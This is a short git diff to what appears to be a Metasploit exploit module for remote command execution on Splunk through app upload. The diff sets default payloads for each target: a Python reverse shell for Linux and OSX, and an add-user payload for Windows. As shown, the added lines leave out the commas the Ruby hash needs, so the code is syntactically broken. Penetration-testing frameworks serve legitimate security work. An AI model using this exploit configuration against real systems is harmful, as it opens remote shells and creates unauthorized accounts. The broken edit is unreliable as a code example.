diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb
index 4454cf2c9e..2ae0a186bd 100644
--- a/modules/exploits/multi/http/splunk_upload_app_exec.rb
+++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb
@@ -49,18 +49,21 @@ class MetasploitModule < Msf::Exploit::Remote
             {
               'Arch'     => ARCH_CMD,
               'Platform' => %w(linux unix)
+              'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
             }
           ],
           [ 'Splunk >= 7.2.4 / Windows',
             {
               'Arch'     => ARCH_CMD,
               'Platform' =>  'win'
+              'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}
             }
           ],
           [ 'Splunk >= 7.2.4 / OSX',
             {
               'Arch'     => ARCH_CMD,
               'Platform' => %w(linux unix)
+              'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
             }
           ],
           [ 'Splunk >= 5.0.1 / Linux',